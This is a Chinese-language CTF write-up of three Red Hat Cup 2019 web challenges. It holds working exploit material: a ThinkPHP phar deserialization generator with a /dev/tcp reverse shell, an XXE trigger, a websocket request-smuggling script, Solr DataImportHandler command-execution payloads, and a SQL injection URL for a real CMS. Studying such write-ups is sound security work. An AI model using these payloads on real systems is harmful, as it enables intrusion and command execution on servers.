Red Hat 2019 Web Write Up

  1. 1. Ticket_System
  2. 2. bank_service
    1. 2.1. 侧信道攻击
    2. 2.2. 稍加思索
  3. 3. easyweb

红帽杯 2019 Web Write Up (除 iCloudMusic

[TOC]

Ticket_System

XXE 2 Phar 反序列化加 Nu1lCTF sql_manager 的 thinkphp pop 链就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}

namespace think\model\concern {
trait Conversion
{
protected $append = array("Zedd" => "1");
}

trait Attribute
{
private $data;
private $withAttr = array("Zedd" => "system");

public function get($system)
{
$this->data = array("Zedd" => "$system");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}

namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}

namespace {
$Conver = new think\model\Pivot("bash -c 'sh >& /dev/tcp/you r_ip/port 0>&1'");
$payload = new think\process\pipes\Windows($Conver);
ini_set('phar.readonly',0);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($payload); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
rename('phar.phar','phar.xml');
}
?>

传这个 xml 上去之后再发以下请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /postxml HTTP/1.1
Host: zedd.vv:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=e4gevanqetq7dvri2q8ujh68hr
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/xml;charset=utf-8
Content-Length: 229

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'phar:///tmp/uploads/28b20c7474c6127c57486e26ad1442b9/20191110/e08b7a076a3d519f8936d3d8b8c17a27.xml'>]>
<user><username>&test;</username><password>admin</password></user>

用 XXE 触发 phar 反序列化即可。

我看有些师傅还在为/readflag头疼…这也不是啥新玩意了,可以直接用trap "" 14就可以让验证码停下来了。

bank_service

Second Blood

做的还是比较有意思的一题,可惜当时做的比较zz,本来可以一血,就是因为自己弄的太不小心了。

因为之前一直在研究 HTTP Smuggling 的东西,我在腾讯的导师也对这个挺感兴趣的,前阵子给我发了一个 Websocket Smuggling

看完后一脸懵逼,文章跟之前 Black Hat 2019 HTTP Desync 那个议题一样,只说了有这么个攻击面,但是没有说怎么产生的,但是还好给了 POC 以及一些 challs ,虽然我当时复现了一下,但是依然懵逼。

直到作者终于在前几天把 websocket-smuggle 攻击原理用文章描述了出来,恰巧这次比赛也出到了这么个题目,所以看到题目用了 websocket ,我就猜可能是这个攻击面了。

这个攻击面是什么呢?帮大家一句话总结就是在 websocket 建立连接时,如果反向代理没有完全严格遵守 RFC 6445 标准,在处理Sec-WebSocket-Version 版本错误的情况并没有做好相应的处理,导致了保持了客户端与后端服务器 TCP/TLS 的连接,所以造成了我们可以进行 Smuggling 请求的攻击,这里直接表现为可以通过这种攻击访问内网。

我们再回到题目,题目的 zz 客服只会重复一句话

​ 我们基于solr提供优质的银行信息搜索服务。

那应该就是提示 solr 了,前阵子有个 solr RCE …但是我们直接访问 solr 服务是 403 …

于是我们尝试直接用 Smuggling 探测 solr 服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import socket 

req1 = """GET /socket.io/?EIO=3&transport=websocket HTTP/1.1
Host: 47.105.57.19:3000
Sec-WebSocket-Version: 1338
Upgrade: websocket
Cookie: user=admin; io=wdvnH-5hbXMU4XPFAC_O

""".replace('\n', '\r\n')

req2 = """GET /solr HTTP/1.1
Host: localhost:8983

""".replace('\n', '\r\n')

def main(netloc):
host, port = netloc.split(':')

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, int(port)))

sock.sendall(req1)
sock.recv(4096)

sock.sendall(req2)
# print req2
data = sock.recv(4096)
data = data.decode(errors = 'ignore')
print(data)
data = sock.recv(4096)
data = data.decode(errors = 'ignore')
print(data)

sock.shutdown(socket.SHUT_RDWR)
sock.close()

if __name__ == "__main__":
main('47.105.57.19:3000')

发现是个302跳转…

看来还是得起本地环境来试试看,刚好 vulhub 有一个环境(p牛辣是真的牛批

直接起起来,然后发现 solr 的入口是 /solr/#/ ,然后我们把 req2 的请求部分改成 /solr/#/就可以看到页面内容了

1
2
3
4
req2 = """GET /solr/#/ HTTP/1.1
Host: localhost:8983

""".replace('\n', '\r\n')

可惜这个 Smuggling 技术貌似没有直接能像代理一样的功能,不能用浏览器直接浏览内容,每次只能自己去分析回显,不过这个题也不需要用到渲染交互什么的,直接都是可以发送 api 请求的。

于是我们本地起环境,用 Github 上几个 exp 试了一下,发现有外连的我本地可以成功,但是打远程不行…

然后我仔细看了 solr_exploit poc 以及 PoC第三阶段–无外连+有回显,想必应该就是这个了吧,后来给出的 hint 也验证了这一点,就是需要构造那篇文章当中打了码的 POC (又是一个看图猜 POC 的题,我要吐了

侧信道攻击

于是我拿着这个图找了一些 PS 大神进行处理,结果淘宝卖家说我是第四个找他们处理的人了.jpg

于是开始了漫漫 POC 猜测之路,首先我们看图可以发现图中有两个蓝色的快,那么第一行有没有可能是:

1
<?xml version="1.0" encoding="UTF-8"?>

让我们试试看,把 burp 与文章 burp 拉到同样高度,然后 xml 标签之后随便弄几个 payload

我靠,简直一毛一样 XD

我感觉我要一血了,侧信道攻击真的牛批。然而正如上图,他喵的还是没回显啊…

Emmm….陷入沉思

稍加思索

在 github 那个 repo 中我们可以发现其实检测漏洞 - Exploit2用的也是 @Longofo 师傅在那篇文章说的 ContentStreamSource

​ 在相关概念中说到了ContentStreamDataSource能接收Post数据作为数据源,结合第一阶段说到的dynamicField就能实现回显了。

一开始不熟悉 java 的我看到这也很懵逼,怎么就能实现回显了…然后我们可以看看那个 github repo exp2,我也着实看了好久

在我用这个 exp2 的第四步,也就是开启远程流这个步骤,如果直接按照这个做法的话,是直接得到了 403 Forbidden

​ 该步骤是为了修改configoverlay.json文件中的配置 以启用远程流的相关选项 .enableStreamBody .enableRemoteStreaming

替换tika为索引库名称

1
2
3
4
5
6
7
8
9
> POST /solr/tika/config HTTP/1.1
> Host: 127.0.0.1
> Accept: */*
> Content-type:application/json
> Content-Length: 159
> Connection: close
>
> {"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": true}, "set-property": {"requestDispatcher.requestParsers.enableStreamBody": true}}
>

响应200即成功(实际测试 8.1可以成功)

响应500即失败(实际测试 某些低版本会失败)

所以我们不得不只能走另一种方式,不用开启 streambody 的方法。

然后开始了漫长的 fuzz 过程,可能我理解得比较慢,导致做的也比较慢,这里我们可以看到这个利用 streambody 构造的 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /solr/tika/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0a%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0a%3c%64%61%74%61%53%6f%75%72%63%65%20%6e%61%6d%65%3d%22%73%74%72%65%61%6d%73%72%63%22%20%74%79%70%65%3d%22%43%6f%6e%74%65%6e%74%53%74%72%65%61%6d%44%61%74%61%53%6f%75%72%63%65%22%20%6c%6f%67%67%65%72%4c%65%76%65%6c%3d%22%54%52%41%43%45%22%20%2f%3e%0a%0a%20%20%3c%73%63%72%69%70%74%3e%3c%21%5b%43%44%41%54%41%5b%0a%20%20%20%20%20%20%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%6f%63%28%72%6f%77%29%7b%0a%20%76%61%72%20%62%75%66%52%65%61%64%65%72%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%69%66%63%6f%6e%66%69%67%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%0a%0a%76%61%72%20%72%65%73%75%6c%74%20%3d%20%5b%5d%3b%0a%0a%77%68%69%6c%65%28%74%72%75%65%29%20%7b%0a%76%61%72%20%6f%6e%65%6c%69%6e%65%20%3d%20%62%75%66%52%65%61%64%65%72%2e%72%65%61%64%4c%69%6e%65%28%29%3b%0a%72%65%73%75%6c%74%2e%70%75%73%68%28%20%6f%6e%65%6c%69%6e%65%20%29%3b%0a%69%66%28%21%6f%6e%65%6c%69%6e%65%29%20%62%72%65%61%6b%3b%0a%7d%0a%0a%72%6f%77%2e%70%75%74%28%22%74%69%74%6c%65%22%2c%72%65%73%75%6c%74%2e%6a%6f%69%6e%28%22%5c%6e%5c%72%22%29%29%3b%0a%72%65%74%75%72%6e%20%72%6f%77%3b%0a%0a%7d%0a%0a%5d%5d%3e%3c%2f%73%63%72%69%70%74%3e%0a%0a%3c%64%6f%63%75%6d%65%6e%74%3e%0a%20%20%20%20%3c%65%6e%74%69%74%79%0a%20%20%20%20%20%20%20%20%73%74%72%65%61%6d%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%6e%61%6d%65%3d%22%65%6e%74%69%74%79%31%22%0a%20%20%20%20%20%20%20%20%64%61%74%61%73%6f%75%72%63%65%3d%22%73%74%72%65%61%6d%73%72%63%31%22%0a%20%20%20%20%20%20%20%20%70%72%6f%63%65%73%73%6f%72%3d%22%58%50%61%74%68%45%6e%74%69%74%79%50%72%6f%63%65%73%73%6f%72%22%0a%20%20%20%20%20%20%20%20%72%6f%6f%74%45%6e%74%69%74%79%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%66%6f%72%45%61%63%68%3d%22%2f%52%44%46%2f%69%74%65%6d%22%0a%20%20%20%20%20%20%20%20%74%72%61%6e%73%66%6f%72%6d%65%72%3d%22%73%63%72%69%70%74%3a%70%6f%63%22%3e%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%66%69%65%6c%64%20%63%6f%6c%75%6d%6e%3d%22%74%69%74%6c%65%22%20%78%70%61%74%68%3d%22%2f%52%44%46%2f%69%74%65%6d%2f%74%69%74%6c%65%22%20%2f%3e%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0a%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e%0a%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20 HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-Length: 212
content-type: multipart/form-data; boundary=------------------------aceb88c2159f183f


--------------------------aceb88c2159f183f
Content-Disposition: form-data; name="stream.body"

<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>

--------------------------aceb88c2159f183f--

其中 urlencode 部分是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />

<script><![CDATA[
function poc(row){
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ifconfig").getInputStream()));

var result = [];

while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}

row.put("title",result.join("\n\r"));
return row;

}

]]></script>

<document>
<entity
stream="true"
name="entity1"
datasource="streamsrc1"
processor="XPathEntityProcessor"
rootEntity="true"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>

利用 ContentStreamDataSource 把 stream.body 作为数据源进行处理。其实看到这,再根据文章中所描述的:

​ 在相关概念中说到了ContentStreamDataSource能接收Post数据作为数据源,结合第一阶段说到的dynamicField就能实现回显了。

其实我们的 POC 也呼之欲出了。

只要去掉 stream.body ,使用 POST XML 作为数据源,再配合 dynamicField 的特性,就可以把回显输出到 document 当中了。

于是我们可以大概这么去构造 dataConfig

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />

<script><![CDATA[
function poc(row){
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ls").getInputStream()));

var result = [];

while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}

row.put("id",result.join("\n\r"));
return row;

}

]]></script>

<document>
<entity
name="streamxml"
datasource="streamsrc1"
processor="XPathEntityProcessor"
forEach="/RDF/item"
transformer="script:poc">
<field column="id" xpath="/RDF/item/id" name="id_s" type="string"/>
</entity>
</document>
</dataConfig>

直接利用默认配置的 id fileld 进行回显,然后将之前 stream body 的改成 xml 发送 post 请求即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /solr/test1/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=test1&name=dataimport&dataConfig=%0A%3CdataConfig%3E%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22TRACE%22%20%2F%3E%0A%0A%20%20%3Cscript%3E%3C!%5BCDATA%5B%0A%20%20%20%20%20%20%20%20%20%20function%20poc(row)%7B%0A%20var%20bufReader%20%3D%20new%20java.io.BufferedReader(new%20java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(%22ls%22).getInputStream()))%3B%0A%0Avar%20result%20%3D%20%5B%5D%3B%0A%0Awhile(true)%20%7B%0Avar%20oneline%20%3D%20bufReader.readLine()%3B%0Aresult.push(%20oneline%20)%3B%0Aif(!oneline)%20break%3B%0A%7D%0A%0Arow.put(%22id%22%2Cresult.join(%22%5Cn%5Cr%22))%3B%0Areturn%20row%3B%0A%0A%7D%0A%0A%5D%5D%3E%3C%2Fscript%3E%0A%0A%3Cdocument%3E%0A%20%20%20%20%3Centity%0A%20%20%20%20%20%20%20%20name%3D%22streamxml%22%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0A%20%20%20%20%20%20%20%20forEach%3D%22%2FRDF%2Fitem%22%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Apoc%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22id%22%20xpath%3D%22%2FRDF%2Fitem%2Fid%22%20name%3D%22id_s%22%20type%3D%22string%22%2F%3E%0A%20%20%20%20%3C%2Fentity%3E%0A%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20 HTTP/1.1
Host: zedd.vv:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 62
Content-Type: application/xml;charset=utf-8

<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>

这样我们就成功构造了回显,然后用 smuggling 方法发送上面的请求就可以了。

给比我做的快的师傅递茶tql,自己还是做的太慢了orz…

文中的POC仅供本次做题学习交流,切勿用于非法用途

easyweb

当时做完 bank_service 就去睡了,第二天醒来就结束就没看这道题,后来问了问前几的师傅们,是个 sql 注入的题。

一个CMS,官网是行云海CMS,题目是最新的版本,然后我去看了一下,主要问题在App/Api/Controller/LtController.class.php当中,有好几个地方,比如

1
2
3
4
5
6
public function gbooklist() {
...
true$order_by = I('orderby', 'id DESC');
...
true$_list = M('guestbook')->where($where)->order($order_by)->limit($limit)->select();
}

对于 I 函数第二个参数并没有做任何的处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/**
* 获取输入参数 支持过滤和默认值
* 使用方法:
* <code>
* I('id',0); 获取id参数 自动判断get或者post
* I('post.name','','htmlspecialchars'); 获取$_POST['name']
* I('get.'); 获取$_GET
* </code>
* @param string $name 变量的名称 支持指定类型
* @param mixed $default 不存在的时候默认值
* @param mixed $filter 参数过滤方法
* @param mixed $datas 要获取的额外数据源
* @return mixed
*/
function I($name,$default='',$filter=null,$datas=null)

于是我们可以访问index.php?s=Api/lt/gbooklist&orderby=1;SELECT SLEEP(5)%23得到明显的时间延迟,这里我们就可以直接用 sqlmap 时间盲注就行了。

同样的,该文件里的taglist/alist/slist/reviewlist函数都有相同的地方存在注入,该题的 flag 也在数据库里面,所以用 sqlmap 跑跑就出来了。

文中的POC仅供本次做题学习交流,切勿用于非法用途


Article Author: Zeddy

Article Link: https://blog.zeddyu.info/2019/11/13/Red-Hat-2019/index.html

Copyright Notice: With the exception of the special statement at the beginning of the article, all articles can be reprinted in accordance with the CC BY 4.0 agreement with the author's permission.

XCTF Final 2019 Web Write Up XNUCA 2019 Qualifier Ezphp

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×